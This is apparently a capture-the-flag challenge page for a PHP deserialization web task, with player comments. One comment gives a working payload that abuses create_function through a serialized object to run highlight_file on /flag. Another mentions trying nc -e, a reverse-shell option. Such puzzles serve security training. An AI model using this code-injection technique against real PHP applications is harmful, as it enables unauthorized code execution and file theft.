unserialize-NoteasyWEB 未解决
分数:
30
金币:
3
题目作者:
云牧青
一 血:
⎝Lazzaro⎠
一血奖励:
5金币
解 决:
399
提 示:
描 述:
不简单的反序列化
评论
chips 2年前
举报
真心不会等在提升一段时间再来做
cxh82878583 2年前
举报
真心不会等在提升一段时间再来做
mooho 2年前
举报
真心不会等在提升一段时间再来做
笨笨笨蛋 2年前
举报
寄了,不会
18679066006 2年前
举报
$s=new Noteasy('create_function',';};highlight_file("/flag");/*'); echo urlencode(serialize($s));
a1037214089 2年前
举报
家人们 那个wp里的$b 为什么不需要考虑闭合的问题啊?create_function("",;}show_source('/flag');/*在语法上不会报错吗?我构造了一个能够闭合create_function的(的payload 结果不行....
v3277293 2年前
举报
哇,终于做出来了
W01fh4cker 2年前
举报
提示:本题关键在于$a("", $b);,同时本题环境不是PHP7.2,是PHP5;查看flag可以是highlight_file也可以是show_source。
ShawRoot 2年前
举报
不用那么麻烦,直接使用highlight_file就可以查看flag。
既不萌也不新的萌新HZ 2年前
举报
nc -e 报错,不知道该怎么办了,提示不支持-e选项